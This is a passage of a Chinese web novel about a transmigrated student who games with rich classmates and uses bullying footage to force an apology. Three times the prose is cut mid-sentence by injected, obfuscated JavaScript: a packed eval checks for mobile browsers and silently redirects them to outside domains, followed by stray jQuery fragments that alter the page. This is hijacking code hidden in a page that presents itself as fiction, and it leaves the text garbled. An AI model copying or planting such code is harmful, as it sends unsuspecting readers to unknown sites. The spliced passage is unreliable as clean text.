……算了,好不容易才降下去的,这种无关紧要的地方,能省则省。
倪知很丝滑地继续打字:“但,既然席哥你开口了,我就算累死,也一定陪你。”
Ooc值没动,好像席惟看穿了他的言不由衷。
好难伺候。
比司一难骗多了。
倪知在心里“啧”了一声:“我用哪台电脑?”
这间房间简直像是个小型网吧,错落放着七八台电脑,每一台的外观都特别酷炫,充满了未来机械感。
席惟拉开自己旁边的座位,示意倪知坐下:“等我五分钟。”
倪知看席惟打开了游戏账号买卖平台,将价格从高到低排列,不到两分钟,就买下一个六位数的账号。
……万恶的有钱人!
想想自己卡里的余额,倪知轻轻鼓起腮吹了一下刘海。
感觉自己每天都更仇富一点。
席惟拿到账号,本来想直接发给倪知,但是想起刚刚指尖触碰到倪知发丝的触感,他先登录了一下,这才发给了倪知:“上号。”
倪知没看到他的小动作,毫无防备地上号,看到账号时沉默了。
这款枪战游戏刚刚上线不到半年,外观枪皮出的却特别多,席惟买的这个账号里,几乎囊括了所有皮肤,配置堪称奢华。
唯一的问题,这是一个女号。
而且id叫做小芝酱。
打开改名界面,显示id刚刚更改完毕,60天后才能再改。
……
确定一定以及肯定。
席惟就是个大变态!
倪知把键盘砸得邦邦响,一旁席惟饶有兴味地故意问:“怎么了?”
倪知虚情假意回答:“没玩过这种游戏,有点不习惯。”
其实他是把键盘当做席惟来砸。
席惟重新戴上耳机:“我拉你进组。”
倪知没来得及调整角色外观,就被拉进了组。
耳机里传来章之桓的声音:“还是第一次看到阿惟带女孩子一起打游戏。”
阎定焱说:“应该说第一次看到阿惟带人一起打游戏。”
章之桓哈哈笑,又问倪知:“小芝酱怎么不说话?不会被我们吓到了吧。”
席惟说:“他没麦,开吧。”
游戏开始,这次四个人一起行动,章之桓是机长,没选人最多物资最丰富的主城,而是去了郊外:“免得妹妹没游戏体验,多捡几个烟和急救包,给我们当医疗兵。”
阎定焱说:“阿惟带的人,让他保护就行。”
一副生怕倪知会拖后腿的样子。
倪知穿书之前也打过类似的游戏,水平还挺高的,现在听他们这样说,乐得划水,一直跟在席惟屁股后面,席惟让他干嘛他就干嘛。
一局一万美金,除了F4身边,哪里还有这么高薪又清闲的工作?
第一把游戏,四个人搜完装备,往决赛圈赶的时候,半路被另一队人堵在桥上偷了,止步前五,倪知连医疗兵都没当上。第二把又是这样,搜了大半场比赛,进去的时候被堵路干掉。
第三把开始,阎定焱就拿了机长权限,冷冷道:“我自己走。”
明显是不愿意再陪着剩下三人耽误时间。
倪知巴不得他们别带自己一起玩,装作委委屈屈地打字:“不然你们玩吧,我就不打扰了。”
看着屏幕右上角一直传来阎定焱的击杀数,章之桓打个圆场:“老阎最近玩这个游戏正上头呢,走吧小芝,我和你席哥带你。”
这么几次接触下来,倪知也能感觉到,F4几个人的性格,章之桓是看起来最好脾气的,大部分时间都在当和事佬,现在这样说也正常。
没想到席惟也说:“你第一次玩,我们慢慢打。”
……哇。
席惟居然也会像个正常人一样说这么通情达理的话。
倪知:“那席哥你要加油><>
章之桓笑道:“怎么不让我加油?”
倪知装腼腆不说话。
席惟唇角不易察觉地翘起,看了看阎定焱的击杀数,今晚第一次认真起来。
还是刚刚的郊区,这一次,搜了五分钟,席惟就带着倪知进了城,然后找了个高处,安排倪知:“在这里守着,看到人就开枪。”
倪知捡起他丢下的大狙,闻言不确定:“我?”
“没指望你杀人,吓唬他们一下就行。”
席惟说着,自己就进了城,不到两分钟,城里的枪声就响了起来。右上角击杀数一下一下地蹦,席惟的排名很快就超过了阎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957807|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定焱。
章之桓吹了个口哨:“阿惟总算不控分了。”
倪知百无聊赖,他的位置高,很清楚能看到席惟的操作,冷静精准,对战局的判断很快,无论是打单人还是多人小队,他总能第一时间找到突破点,枪枪都是爆头。
现在席惟走在街上,正绕后去偷一队人,而他身后,有个人鬼鬼祟祟地跟着他,明显是想要玩一手黄雀在后。
倪知打个哈欠,漫不经心地开镜架狙。
章之桓刚好过来,笑眯眯问他:“看到人了?小心点,这个狙伤害高,但是容易有反伤。”
远处,席惟的游戏角色已经走到拐角处,恰好同身前身后的人站位形成三角形。
三个人,每个都觉得自己是猎手。
雪白的指尖在键盘上轻轻敲了敲,这是倪知打游戏不耐烦时的小动作。
屏幕里,席惟终于向着前方举枪射击,同一时刻,倪知按下发射键,扳机被扣动,子弹贯穿席惟身后想要偷袭的敌人,屏幕右上角,系统播报,小芝酱拿下了首次击杀。
狙击枪声清脆,回荡在耳机中,席惟转头看向倪知,淡蓝色的屏幕光下,他的皮肤如同白瓷细腻莹白,表情很淡,眼尾还缀着一颗泪珠,是刚刚打哈欠后还未来得及擦去。
察觉到席惟的注视,他转过头来,扫了一眼席惟,歪了歪头:“救你一命,老板,这一局能多算点钱吗?”
他打字很快,语气俏皮,把自己代入到游戏陪玩的身份得心应手。
很……可爱。
甜得出奇,哪怕知道他心口不一,也让人心甘情愿想要被骗。
席惟刚要开口,自己的屏幕却一黑,是他站在原地太久,被原本想要偷袭的人发现,把他给一枪爆头了。
章之桓说:“看不出来,咱们小芝还是个狙击手。阿惟,你今晚怎么总发呆?”
想说的话被打断了,席惟切换视角,转到倪知的角色那边。
因为他的恶趣味,倪知操控的是个女号,白衬衫、格子超短裙,头上戴着一对粉红色长长的兔耳,配合上倪知本人过分秀丽又面无表情的脸,有一种错位又和谐的奇妙感觉。
游戏里,倪知开完枪后,又恢复刚刚的挂件状态,席惟死了,他就跟着章之桓。
章之桓只以为他那一枪是蒙中的,开玩笑说:“司一也喜欢打狙,你可以让他教教你,怎么打得更准。”
他只是随口一说,席惟却嗤了一声:“打狙很难?”
章之桓:?
章之桓推了一下眼镜,看着席惟灰掉的游戏id若有所思。
阿惟这是在吃醋?
看来这个小芝酱不一般。
章之桓改口:“也是,有你席哥教就够了。”
正说着,右上角跳出击杀公告,阎定焱也死了。
章之桓诧异:“你怎么也死了?”
阎定焱不悦道:“被偷了。”
章之桓刚要说话,突然一声清脆枪响,不知道哪来的狙击手,将他一枪爆头,只有倪知在他们说话时仍旧待在掩体后面,逃过一劫。
他们开的是竞技模式,刚刚连输把,战绩太过难看,阎定焱的账号在国服榜上,这把如果再输,就要掉出前十了。
现在队伍只有倪知活着,阎定焱已经不抱期望,就算是席惟带来的人,他也有点不爽:“下把你们玩。”
章之桓还要劝,席惟忽然闭麦,问倪知:“开条件吧。”
倪知转头看他,漆黑的眼睛亮晶晶的,写满了天真无害,像是听不懂他在说什么。
席惟:“赢下这把,条件随你开。”
倪知这才慢吞吞地打字:“席哥,我才刚玩这个游戏。”
席惟:“最多答应你两件事。”
这还差不多。
倪知见好就收,立刻露出一个浅浅的笑容,眉眼弯弯,鲜红的唇角扬起,看起来又甜又软:“能先欠着吗,等我想好再说。”
像是猫……不,更像是小狐狸,尖尖的耳朵,雍容的皮毛,漂亮精致,却又蛊惑人心。
莫名的,席惟转开脸去,这一刻,忽然不想让倪知看到自己的眼睛——
只要倪知看到他的眼神,就会知道,他心底想的,根本不是这把游戏。
如果可以,他想交换的,也不只是一把游戏的胜利。
但还不是时候。
所以席惟只是说:“成交。”
有他这句话,倪知就不划水了。他很利落地向着章之桓成盒的位置丢了个烟,趁着远处的敌人被吸引注意力的时候,从相反方向摸了出来。
原本眉头紧锁的阎定焱眉心微动。
席惟带来的这个女人还挺机灵,只要能逃出包围圈,随便找个地方苟进前三,这一局就不会扣分……
却见小芝酱根本没有按他构想的那样离开这块是非之地,反倒是上了高地之后,趴下架狙。
阎定焱松了的眉心又重新皱了回去,忍不住道:“你一个新手,还是换步枪吧。”
狙击枪伤害高,但对精准度要求太高了,这个游戏主打真实感,游戏里狙远距离的目标,还要考虑枪口高度、风速问题,对新人来说,实在是过于华而不实。
章之桓说:“小芝刚刚就狙死一个。”
阎定焱冷冷道:“瞎猫撞上死老鼠……”
话音未落,又是一声枪响。
肯定是这个女人乱动,被敌人也狙死了。
阎定焱本来已经打算离开游戏,却见这把游戏并未结束,他这才看到,右上角跳出的击杀信息。
【小芝酱爆头击杀了我爱吃西瓜】
刚刚一枪,倪知精准击中两百米之外舔包的敌人,而后毫无停顿地又扣下扳机,将更远处警戒的敌人也一枪带走。
【小芝酱爆头击杀了别杀我121212】
两枪全部爆头,精准得像在炫技。
耳机里鸦雀无声,倪知笑眯眯地打出一行字来:“又撞上了两只死老鼠诶^ ^”
阎定焱:……
15. 15
15
一直没做声的席惟微微一笑:“好枪。”
阎定焱沉默。
倪知却偏要打字问他:“三火哥哥,你觉得呢?”
阎定焱看起来沉稳,其实熟悉的人都知道,他是最暴躁易怒的,这几年一直修身养性,但偶尔爆发的时候,却格外可怕。
章之桓怕阎定焱下不来台发火,咳了一声:“我就说我们小芝适合玩狙击位。”
阎定焱却出乎意料没有动怒,又沉默了一下,才说:“抱歉,是我小瞧你了。”
菜就多练!
要不是怕ooc得太严重,倪知真想把这四个字发给阎定焱。
倪知轻快地敲了敲键盘,不小心碰到跳跃键,原本趴在地上的角色突然跳了一下,头顶的兔子耳朵q弹得晃了晃,看起来有点呆。
倪知:……
倪知装作一切都在计划之中,换了个位置继续蹲人。
这里是决赛圈边沿,倪知守株待兔搞掉了两个队伍。场上只剩下四个人的时候,阎定焱忍不住说:“能吃鸡吗?”
倪知没理他,将狙丢到一旁,换了步枪。
阎定焱又要指挥:“你既然狙玩得好,就继续躲着狙人。”
烦。
又菜又爱吠。
一打游戏,倪知就觉得自己很爱喷人,还好是个哑巴,不然估计已经开麦骂阎定焱了。
席惟淡淡道:“那三个人其中两个是一队的,现在就算能狙死一个,也会变成靶子。”
没错,就是这样。
怪不得席家能当四大家族之首,至少席惟打起游戏来要聪明得多。
倪知抽空赞许地扫了席惟一眼,而后继续耐心等着,直到剩下的两队人打了起来,他这才丢了颗手雷过去。
手雷落地,三人四散而逃,倪知扛着步枪,两梭子子弹带走了两个人,剩下一个正躲在一边打药,倪知随手丢了个燃丨烧丨瓶过去。
三秒钟后,最后的敌人也被烧死。
屏幕上跳出巨大鲜红的“胜利”字样。
倪知得意地向着席惟伸出手来。
席惟看他一眼,觉得有点幼稚,但还是配合地轻轻在他雪白的掌心拍了一下:“干得不错。”
倪知:……
谁要和他击掌。
倪知收回手来:“除了答应我两件事,席哥,还要有奖金吧?”
他的掌心很软,温热光滑,触摸时如玉生香。
席惟捻了捻指尖,似乎还能感觉到那种令人很难描摹的心悸。
像是开枪一瞬间,肾上腺素飙升,清晰地知道自己正在追逐的,是一只难驯漂亮的猎物。
想得到他,又怕伤到他。
倪知狐疑地看着席惟,对着他晃了晃手机。
他不会想赖账吧?
席惟这才回过神来:“知道了,钱会转到你的卡里。”
倪知没问他怎么知道自己的银行卡账号。
大少爷有不知道的事才稀奇。
下线前,倪知看到游戏右下角有两个好友申请,一个是章之桓,另一个却是……
【三火申请添加你为好友】
阎定焱?
今天没骂他,他心里不舒服?
倪知随意地点了拒绝,回到客房后却发现门口放着一只木制雕花的食盒,极为精美繁复,打开来,里面倒是清粥小菜,看起来简单,倪知尝了一口却发现,粥是剃了鱼泥鸡茸一起熬,大米粒粒开花,入口即化,小菜也清爽,拿来配粥非常适口。
倪知刚刚去找席惟,就是想问他有没有吃的,只是打游戏太专注,把这件事忘了。
没想到席惟却主动帮他准备了。
粥喝起来还是烫的,席惟是什么时候发现他饿了?
不过……确实比学校餐厅里卖的要好吃得多。
倪知不知不觉就喝了大半碗粥。
手机振动一下,微信里多出一个好友申请。
【惟】。
嚯,极品单字id!
好像那种网络男神。
倪知当没看到,席惟又发来一条申请,这次多了备注。
【惟】:“转账。”
看到这条备注,倪知干脆地通过了好友申请。
【小知不知道】:“席哥好~”
【惟】:“还没睡?”
【小知不知道】:“刚喝完粥。”
【小知不知道】:“很好喝,谢谢。”
【小知不知道】:[小熊摇头晃脑.gif]
小熊圆滚滚,毛茸茸,看起来呆呆的。
刚刚倪知按错键不小心跳起来的时候也一样,明明是很聪明清冷的一张脸,发呆的时候也透出一点天真的傻气。
席惟忍不住轻笑了一下。
【惟】:“胃还疼吗?”
【小知不知道】:“不疼了。”
【小知不知道】:“席哥,你刚刚说转账?”
聊了不到三句,倪知就懒得装了。
对话框安静了一下,几分钟后,手机收到了短信提示,银行新入账10万美金。
这还是倪知穿书之后,账户余额第一次超过三位数。
感念于席惟的大方,倪知嘴巴很甜:“谢谢席哥,席哥阔气[大拇指]”
席惟没回他消息,倪知把手机丢到一旁睡觉,半睡半醒间突然反应过来。
既然席惟可以直接银行转账,干嘛非要加他微信?
-
尤白羽听倪知的话,乖乖在寝室待着,但是始终放心不下,尤其是看到校园网上,那些人刻薄讥讽地直播着对倪知的霸凌欺辱,好几次,尤白羽都忍不住想要冲出去找倪知。
他知道,倪知让他待在寝室里,就是怕他也被欺负。
但他到底还是忍住了。
他选择相信倪知,既然倪知说了可以处理,那他要做的,就是不去给倪知添乱。
……理智是这么想的,但尤白羽还是辗转反侧,一晚上都没睡好,直到窗外天色破晓,他才迷迷糊糊地睡着了,大门忽然被打开,尤白羽猛地从床上坐了起来:“小知?”
倪知被他吓了一跳:“我把你吵醒了?”
“没有!”尤白羽跳下床,抓着倪知上下打量,“你昨天晚上去哪了?我看他们说把你锁在教室里,我本来想去找你,又怕破坏了你的计划。”
倪知的手很凉,像是一截上好的羊脂白玉,肌肤白得透明,没有瑕疵,也没有血色,只有手背上细而淡的青色脉络,绵延着没入袖口。
时间还早,他的衣角上沾着凉薄的晨雾,冷冷的水雾包裹,他的眼却漆黑而温润,对着尤白羽轻轻地笑:“放心吧,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14957808|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我昨晚过得……还算不错。”
赚了十万美金,还喝到了好喝的粥,席惟准备的客房床铺也足够舒适,只是倪知认床,在陌生环境里很难睡得太熟,这才早早就回来了。
尤白羽只以为倪知是安慰自己,更加心疼他,跑去给他倒了一杯热水,问他:“那你今天还去上课吗?”
倪知:“等红名撤了再去。”
尤白羽惊喜道:“已经搞定了?”
倪知笑笑,看了眼手机,这才平淡地回答:“应该。”
尤白羽不疑有他,神经放松下来,立刻打了个大大的哈欠。倪知让他快点去睡,他爬回床上,还不忘了叮嘱倪知:“那你出去吃饭的话记得喊我,我陪你一起。”
昨晚担惊受怕的感觉太难受了,以后小知去哪,他都一定要陪着!
尤白羽很快就进入了梦想,倪知轻手轻脚地坐下后,拿出了手机。
屏幕上是一串未读消息,最上面是温凌发来的。
【小呀么小哪吒】:“监控录像弄到了,要我直接发给你吗?”
【小呀么小哪吒】:“你打算拿这个威胁司一,他会怕吗?”
【小呀么小哪吒】:“喂喂喂?”
【小呀么小哪吒】:“不会晕倒在教室里了吧,要我去救你吗?”
温凌这个人很健谈,因为他长得不错,声音也好听,面对面交谈的时候还没感觉,现在打成文字,看起来真的有点吵。
【小知不知道】:“我在寝室了。”
【小知不知道】:“视频直接发给我就好,麻烦你了。”
温凌好像一直守在对话框里,消息刚发过去,他就立刻秒回。
【小呀么小哪吒】:“我辛辛苦苦偷了我爷爷的权限,才把他们欺负你的监控给弄出来,你连完整的计划都不告诉我?”
其实温凌根本没有那么辛苦。
作为校长最疼爱的孙子,除了F4之外,整个学校里他完全可以横着走。
昨天趁着学校检修监控,温凌随口交代了一句,让校长办公室的人把录像拷了出来给他。
他只是好奇,倪知到底打算怎么做,才能摆脱现在的困局。
【小呀么小哪吒】:“你过河拆桥过河拆桥过河拆桥!”
【小呀么小哪吒】:[满地打滚.gif]
倪知:……
倪知眼痛。
【小知不知道】:“嗯,我的计划就是撤红名。”
【小呀么小哪吒】:“还有呢?”
【小知不知道】:“还有,让司一公开给我赔礼道歉。”
【小呀么小哪吒】:“?”
当他打出这个问号,不是他有问题,而是他觉得倪知有问题。
撤红名倒是有可能,毕竟司一是出了名的有脸蛋没脑子,冲动惯了,虽然不知道倪知是怎么得罪了他,但昨天一天折腾下来,司一应该也消气了,道个歉认个错,再有他居中调停,司一应该就可以放过倪知了。
可没想到,自己只猜对了赔礼道歉四个字,对象却完全错了!
倪知居然想让司一给他赔礼道歉!
这个小哑巴哪里来的胆子啊?!
温凌疯狂发问号和表情包,发着发着眼前一红,发现自己被拉黑了。
温凌:?
温凌:qaq
16. 16
16
倪知拉黑了温凌,总算感觉眼睛清净了。
他有强迫症,看不得app上有小红点,挨个把公众号推送的广告点了,看到下面,席惟给他发了消息。
【惟】:“走这么早?”
【惟】:“还想喊你一起吃饭。”
一码归一码,昨晚和席惟和睦相处,可不代表两人就成了朋友了。
倪知当没看到,点进通讯录的小红点呆了一下。
……怎么这么多好友申请?
谁把他挂到交友网站上了?
如果之前的霸凌只是开胃小菜,这一招找人疯狂添加他才是王炸,倪知为了把小红点都消掉,皱着眉头点了半天。
都怪司一!
早晚有一天,他会让司一跪在脚边给自己道歉!
被倪知惦记的司一,现在也不好过。
昨天派人找了倪知一晚都没找到,司一彻夜未眠,后面更是连学校保安处的也都派了出去。他心情不好,手下的小弟们也遭殃,战战兢兢等着他发脾气,还是有个聪明的小弟想出个主意,不如他们一起加倪知好友,只要有一个加上,那不就可以问倪知跑到哪去了。
到了这个时候,司一也顾不上觉得自己被倪知拉黑很丢脸了,传令下去之后,手下人全都试着添加倪知好友,可惜一个通过的都没有。
直到早上,章之桓找过来,让司一别闹了:“闹得太大,影响不好。”
现在整个学校都知道是司一对倪知下的标红,等于是这起霸凌事件的主使者,万一倪知昨晚真出了什么事,司一脱开关系还来不及,现在大张旗鼓找人,简直是在身上戳好了罪状。
章之桓是学生会会长,年纪比他们都大,说话还是有几分威慑力的,司一被他给赶回房间,找人的时候还没感觉,躺下之后,挨到枕头就睡着了。
被吵醒是电话一直在响,司一头痛得厉害,皱着眉接起来,语气不善:“什么事?”
“一一,是妈妈。”电话那边,司母语气和声音都很温柔,“怎么这么晚了,还在睡。”
司一揉了揉太阳穴,压下烦躁:“昨晚熬夜了。”
“自己在学校,要注意身体。”
司一“嗯”了一声,有点不想和母亲聊这些闲话:“妈,我很困,没事就先挂了吧……”
司母却道:“一一,你在学校欺负同学了?”
司一:“什么?”
学校的事,家里怎么会知道?
司母轻轻叹了口气:“你爸爸很生气,原本他想亲自打这个电话,我把他拦下来了。一一,你知道的,你爸爸一直想要调去教育厅,他看中的位置,不少人都在盯着。你爸爸为了这个,努力了两年多,现在你席伯伯总算松口愿意帮他了,可你欺负同学的事情传出来,外界舆论多难听啊。”
司一猛地坐了起来。
司家是商转政,这样的家族,财富积攒到了顶峰,转政也是自然而然。席惟父亲的位置高不可攀,能得他帮助,父亲就能更进一步,如果因为自己的事影响了父亲,司一就成了整个家族的罪人。
困意烟消云散,司一问:“妈,到底怎么回事儿?”
司母沉默片刻:“你还没看新闻吗?你指使人霸凌同学的事情,已经在网上传开了。”
司一打开平板,没看到网上有什么新闻,切进校园网,才看到有人转载截图。
标题极为耸动:《巨富之子霸凌下郡特招生,校园暴力屡禁不止,平民子弟的未来何去何从?》
虽然是转载的截图,但是这条帖子热度极高,后面已经标了HOT。
不少昨天参与欺负倪知的人都在骂,谁这么大的胆子,居然敢把学校里的事捅出去,还有昨天没参与的人在骂他们,都是同学,干嘛把事情做这么绝,现在大家面子上都过不去。
帖子是下午发的,到现在已经过去了四个小时。
司一看得头痛,司母说:“你看,出了事情,不会有人记得你是大明星,只会把你爸爸拉出来。网上的帖子现在压下去了,但你爸爸的意思是,让你去和你那个同学和解。”
司一沉默,司母放重了语气:“一一,你不会想让你爸爸亲自来和你说吧?”
“……我知道了。”司一到底说,“妈,我会处理好这件事。”
窗外暮色如流火,赤金色的日光将云层渲染得如同金碧辉煌的宫室,远处校园美轮美奂,似琼楼玉宇。司一眼睛里全是熬夜过后的红血丝,太阳穴一抽一抽地跳着疼。
转载的帖子里,全是倪知昨天被欺负的监控视频。
舆论对此的反应很大,贵族高校、穷人子弟,天生对立的两个阶级,一发到网上,就引发轩然大波。司家下令封口,帖子被删除,谈论度却居高不下,逼得司父都要亲自问询。
这一切,都在短短一天时间内发生。
那个小哑巴,怎么做到的?
手下打来电话,很激动地说:“司一哥,找到那个倪知的下落了!”
说完,却不见司一有什么反应。
奇怪,昨晚司一哥不眠不休地找人,有眼睛的人都看得出来,他有多在意那个特招生。
小弟还以为司一没听清,又说了一遍。
良久,终于听到司一说:“我知道了。”
声音低沉,细听却像是咬牙切齿。
这个倪知……这个倪知!
原本已经散去的火气,一瞬间又烧了起来。
从来没有人能这样一而再再而三地挑衅他!
没睡好引起的头痛,寻找了一晚无果的担忧,被母亲责备的不悦……
情绪上涌一瞬间,司一觉得,自己之前不该对倪知只是标红。
这个小哑巴太不驯了,到了现在,还不肯屈服,居然还有手段拿到监控视频发到网上……是谁帮他拿到的?韩麟还是章之桓?总不可能是席惟和阎定焱……到底什么时候,和别人扯上关系的?拉黑他的时候,又背着他干了什么?!
既然之前对待倪知的方式是错误的,那么现在,他要去弥补自己的错误,要让倪知知道,四大家族的人,对于他这样一个下郡来的小特招生来说,是多么的高不可攀。
他要让倪知屈服,要让倪知心甘情愿地……
喉结滚动一下,司一起身。
母亲潜台词说的也很清楚,解决这件事,或者,解决造成这件事的人。
他已经想好了,等他见到倪知,第一句话一定是要告诉这个该死的小哑巴——
“……你生病了?”
校医室内四面都是白的,窗台上放着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14957809|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一瓶姜花,养在水里,雪白柔软的花瓣透明如纸。床上,倪知倚在那里,微微垂着头,露出的一截手臂细得可怜,不过拇指同食指第一指节一握,皮肤的颜色也像是花瓣,手背上的针头看起来越发冷硬,令人下意识会担心,会不会弄痛了他。
听到声音,倪知抬起头来,没戴眼镜,戴着口罩,头发别在耳后,大半张脸都被挡住,只露出一双漂亮的凤眼,大概是在发烧,眼尾的红痕烧得更胜,眼睛湿漉漉的,看人的时候,像是有钩子。
司一和他对视,心跳猛地加速,脸也热了一下,像是也要发烧。
司一下意识转头,不想被倪知看到自己的表情,恰好和进来的校医撞上。
校医:?
司一咳了一声,问校医:“他是什么病?”
校医说:“发高烧,怀疑是流感,你要不要也戴个口罩?”
司一皱眉:“你看得好吗?”
校医深吸了一口气,微笑说:“我哈佛医学院毕业的。”
司一冷冷道:“那又怎么样?”
校医再次深呼吸,告诉自己,不要和这些没文化的二世祖一般见识:“流感而已,你去哪都是这么治。已经给他吃特效药了,现在打的是营养针。”
司一不再理他,大步上前在床边坐下,抬手去摸倪知的额头。
倪知侧开脸去,想要躲开他的手,只是高烧之下,到底没那么灵活,司一微凉的手贴在肌肤上,倪知下意识地打了个哆嗦。
司一感觉到了,连忙收回手来,搓了搓,感觉到指尖有了温度,这才小心翼翼地又放回倪知的额头。
倪知懒得再躲,恹恹地靠在那里,司一手大,掌心将他剩下半张脸都遮住,校医忍不住说:“有电子温度计。”
司一不悦地皱眉,倪知忽然眨了一下眼睛,睫毛擦过掌心,有羽毛的质感,细而柔软,很细微的痒,却一路重到了心里。
好痒……
还很软。
掌心下的肌肤是烫的,白玉熏出了晚霞的颜色,潋滟得令人沉迷。
司一有些出神,盯着倪知耳侧同颈间拉出的方寸之处。
倪知忽然抬手,很费力地将他的手给拍开。
摸一下就算了,有完没完!
生着病,倪知心情很差,打出来的字一眼看去就语气不善:“你来干什么?”
是啊,他来干什么的?
司一忽然发现,自己完全把正事忘了。
可刚刚的火气突然之间烟消云散,只留下一点心猿意马的遐思,哪怕知道,自己应该生气的,可病床上的倪知,像是童话故事里的小美人鱼,美丽、苍白、脆弱,随时可能化成泡沫消散在面前,又怎么舍得对着他发怒?
司一沉默一会儿,还是问了自己最想知道的问题:“你昨晚跑哪去了?”
?
倪知狐疑地看着司一,忽然拿起旁边的电子体温枪,对着司一的额头biu了一下。
体温正常,没发烧啊?
司一被他的举动惊了一下,被他给气笑了:“小哑巴,你是不是骂我有病?”
知道就好。
倪知没对着他笑,冷淡地把体温枪放下:“现在生病的是我。”
抬眼看了司一一眼,又打了一句话,“拜你所赐。”
17. 17(入V公告)
17
对上倪知冷淡的眼神,司一整个人都愣了一下。
系统提示,ooc值上升。
倪知却毫不在意。
在他把监控视频上传到网上时,这个狗屁系统就一直在提示说,ooc值上升了。
作为原作里的老实人,原主从来都是逆来顺受不知道保护自己的,就算是受了委屈,忍忍也就算了,又怎么会这样激烈地反击?
可惜现在掌控剧情走向的人变成了他,所以他给了系统一个不能拒绝的理由:“我是为了打压顾霜纯,和他抢夺F4的关注。”
——是的,他不光上传了被霸凌的监控,他还顺手把顾霜纯破坏琴房摄像头,栽赃陷害原主偷东西的录像一起上传了^ ^
系统沉默了。
系统思考了。
然后……系统通过了。
在系统那里,他当恶毒反派受的人物设定比老实人设定权重要高,所以只要他恶毒地对待顾霜纯,就不算是ooc。
倪知:6
这怎么不算是一件好事呢?
可惜司家反应太快,视频都被删了,不过没关系,司家能删,他就能再上传嘛。
倪知翘起唇角,露出一个淡而凉的弧度。
看到“拜你所赐”四个字,司一诧异道:“你这是在怪我?可我找了你一整晚,是你自己跑不见了!”
瞧,这就是大少爷的逻辑。
无论造成了什么样的伤害,只要有一点善意的举动,就应该被原谅宽容。
原主大概就是被这样pua的吧。
F4虽然伤害了他,但也有那么一点点的温情在里面,对于冷惯了的人来说,那么伶仃的温暖,也足够飞蛾扑火了。
还好倪知是个在爱里长大的人,司一的善意,对他来说,比打发要饭的还不如。
倪知:“如果不是你把我标红,你也不用找我一整晚。”
司一哽了一下:“可我……我只是……”
“一时冲动?”倪知无声地冷笑,“那我打你一耳光,再帮你揉一揉,你也不会怪我咯?”
视线落在倪知的手上,纤细修长的指,白雪样的色泽,修得整齐的指甲,透着洁净漂亮的淡粉色,像是奶油草莓,吮吸的话,一定是甜的……
司一又在走神,余光看到倪知已经把手抬了起来。
这个小哑巴是真的会打人!
司一连忙道:“我对着你脾气好,你也别太得寸进尺了!”
整个学院,除了这个倪知,谁敢对他这么说话?
可偏偏,他对着倪知,就算有火气也发不出来。
司一觉得自己已经足够退让:“算了,你生病,我不和你一般见识。我会撤红,但是……”
倪知问:“但是什么?”
司一起身,手撑在倪知两侧,微微俯首,冷冷地直视着倪知的眼睛:“但是你要告诉我,是谁在背后帮你,弄出的学校监控。”
这是一个极富侵略性的动作,姿态强势,逼迫着一步步压榨对方的呼吸,将人完完全全禁锢在自己的双臂同胸膛之间。
像是威慑。
又如亲吻前忐忑的试探。
最后一束橙红色的霓光自窗外落在倪知漆黑的眼底,他的睫毛很长,像是漆黑的大翅蝴蝶,窄而长的眼皮斜斜拖入眼尾,让他看人时的神情,很难分辨究竟是专注,亦或是情深。
天生的勾人。
不能被别人看到,不许被别人看到。
像是被蛊惑,又或者是贪婪的水手,发现了潜藏海底的宝藏,瞬息间,猎手变作猎物,像是亡命徒,只想独占一切。
司一自己都没有发觉,他这样的姿态神情都太容易被误会了——
又或者不是误会。
是不由自主、情不自禁。
只要倪知告诉他……所有的事情都可以一笔勾销。只要他乖乖的,自己就可以对他很好很好……
他的心事复杂,却又带着点怦然欲坠的紧张激动,复杂微妙到连呼吸都急促了一些。
倪知却看起来格外平静——
他心情越差,脸上就越没有什么情绪。
他只是很厌倦地打字:“你在威胁我?”
司一以为他是害怕了,声音轻下去:“上郡的规则不是你想的那么简单。如果我想威胁你,现在根本不用来找你。”
到了现在,他还搞不清楚状况。
倪知终于百无聊赖起来:“我看是你想得太简单了。”
每次对上倪知,司一都有种情况脱离掌控的感觉:“什么?”
“霸凌同学的名声你担得起……”倪知像是笑了一下,很轻松地打出了看起来很残忍的话,“那欺负残疾人呢?”
霸凌下郡来的特招生,可以说是上位者对下位者的不屑,有慕强的人,甚至会觉得这是理所当然。但一个健康的人,带头打压迫害一个失声的残疾人,却是任何一个还有良心的正常人都无法接受的。
倪知不等司一反应,继续打字:“之前发视频的时候没写,只是不想把事情闹得无法收场。我只给你一天时间,明天这个时候,如果我没看到你的公开道歉,那时发到网上的东西,措辞会比现在要难听得多。”
倪知没有那种无用多余的自尊心,觉得不能说话是什么天塌了的惨事。
每个人都有自己的缺点,有的人愚蠢、有的人恶毒。
